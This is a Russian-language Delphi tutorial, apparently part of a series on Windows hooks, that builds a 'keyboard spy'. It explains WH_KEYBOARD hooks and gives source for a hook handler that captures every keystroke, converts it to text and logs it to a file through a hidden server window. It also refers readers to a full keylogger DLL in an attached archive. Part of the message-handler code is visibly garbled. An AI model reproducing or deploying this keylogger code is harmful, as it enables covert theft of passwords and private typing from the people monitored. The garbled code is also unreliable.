Хуки в Windows на Delphi - Клавиатурный шпион

ОГЛАВЛЕНИЕ

Клавиатурный шпион

Для создания клавиатурного хука нам надо указать код WH_KEYBOARD при вызове функции SetWindowsHookEx. Windows вызывает обработчики хка когда функции GetMessage или PeekMessage собираются вернуть сообщения WM_KEYUP, WM_KEYDOWN.

Параметр Code может быть равен следующим значениям:

  • HC_ACTION Windows вызывает обработчик с этим кодом при удалении сообщения из очереди.
  • HC_NOREMOVE Windows вызывает обработчик с этим кодом, когда клавиатурное сообщение не удаляется из очереди, потому что приложение вызвало функцию PeekMessage с параметром PM_NOREMOVE. При вызове хука с этим кодом не гарантируется передача действительного состояние клавиатуры. Программист должен знать о возможности возникновения подобной ситуации.
Параметр wParam в обработчике хука WH_KEYBOARD содержит виртуальный код клавиши (например, VK_F1, VK_RETURN, VK_LEFT). Параметр lParam расшифровывается следующим образом:
  • Биты 0-15 содержат количество повторений нажатой клавиш ив случае залипания.
  • Биты 16-23 содержат скан код нажатой клавиши. Это аппаратно зависимый код, который зависит от конкретной клавиатуры.
  • Бит 24 равен единице, если нажатая клавиша является расширенной (функциональной или на цифровой клавиатуре), иначе 0.
  • Биты 25-28 зарезервированы.
  • Бит 29 выставлен, если нажата кнопка Alt.
  • Бит 30 говорит нам о состоянии клавиши до отправки сообщения. Бит равен единице если до этого кнопка до отправки сообщения нажата, если кнопка была до этого не нажата, то бит равен нулю.
  • Бит 31 говорит о текущем состоянии клавиши. Он равен нулю, если кнопка в нажатом состоянии, и единица, если в не нажатом состоянии.
Как мы будем сохранять введённый текст? Разумеется, самый простой способ это сохранение в файл перехваченного кода нажатой клавиши это сохранение в файл сразу же в функции фильтре. Но операции файлового ввода/вывода это операции не слишком быстрые и это приводит к общему уменьшению производительности системы при вводе какого-либо текста (впрочем, на новых машинах это вряд ли можно заметить). Поэтому мы заведём специальное окно-сервер, которому будем отправлять коды нажатых клавиш, это окно будет получать коды нажатых клавиш и сохранять в своём буфере, и скидывать буфер в файл, когда он будет достигать некоторого размера.

Создание и снятие хука, я думаю, особых проблем не составляет, поэтому сразу приступлю к самому обработчику хука.

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then
if ((LParam or (1 shl 30))=LParam) then
 begin
  ServerWnd:=FindWindow(nil,'Simple keylogger ');
  GetKeyboardState(KeybrdState);
  ScanCode:=(LParam shr 16)and $FF;
  if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
   PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
  else
   PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
 end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;

Основная проблема в при написании клавиатурных хуков заключается в том что обработчику хука передаётся только скан код нажатой клавиши и её виртуальный код. Виртуальный код и скан код говорят нам, какая именно клавиша была нажата, но не говорят, что именно было введено. Поясню, даже если мы вводим русский текст, то клавиатурному хуку будут передаваться коды английских клавиш, т.е. мы вводим слово «привет», а обработчику хука будет передано «GHBDTN». Или, например, мы нажимаем на Shift цифру 7 и вводится знак &, но в клавиатурный хук будт передан только код цифры 7. Для того чтобы преобразовать скан код и виртуальный код в текстовый символ, который был введён, необходимо использовать функцию ToAscii (или ToUnicode). Её параметры:

int ToAscii(
 UINT uVirtKey,
 UINT uScanCode,
 PBYTE lpKeyState,
 LPWORD lpChar,
 UINT uFlags
);
Первый параметр это виртуальный код, второй это скан код, третий параметр это указатель на массив в котором сохранено состояние клавиатуры, четвёртый это указатель на переменную, в которую будет сохранён символ, пятый параметр это флаг, определяющий, является ли меню активным. Этот параметр должен быть 1, если меню активно, или иначе 0. Функция возвращает количество символов, полученных в результате преобразования. Состояние клавиатуры можно получить через функцию GetKeyboardState.

Вернёмся в нашей фильтрующей функции.

ServerWnd:=FindWindow(nil,'Simple keylogger ');
GetKeyboardState(KeybrdState);
ScanCode:=(LParam shr 16)and $FF;
if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
 PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
else
 PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
Сначала мы получаем состояние клавиатуры, потом получаем скан код из параметры LParam и вызываем функцию ToAscii. Если её результат не равен нулю, т.е. если её результат не пустой, то отправляем cсообщение окну-серверу с заголовком «Simple keylogger » (цифры в заголовке нужны только лишь для его уникальности). Сообщение WM_KEYEVENT мы объявили сами
WM_KEYEVENT=WM_USER+1
А вот собственно и сам обработчик сообщения WM_KEYEVENT
procedure TMainForm.KeyMessageHandler(var Msg: TMessage);
var
  KeyName:array[0..99] of char;
  _MSG:TMsg;
begin
  GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
  BufferWrite('13) then
begin
 BufferWrite(',');
 KeyName[0]:=chr(Msg.WParamLo);
 KeyName[1]:=#0;
 BufferWrite(KeyName);
end;
  BufferWrite('>');
  inc(Counter);
  if Counter>MaxSimbolGroup then
begin
 BufferWrite(NewLine);
 WriteTime;
 BufferWrite(NewLine);
 Counter:=0;
end;
end;

Для получения текстовой расшифровки нажатой клавиши по её скан коду мы воспользовались функцией GetKeyNameText. Полный текст DLL и приложения находится в архиве прилагающемуся к этой статье.

Если посмотреть получившийся лог, то мы увидим следующий текст в формате <название клавиши, введённый текст>.

Вот и подошёл конец первой статьи про хуки. Качаем, смотрим исходник исследуем, учимся.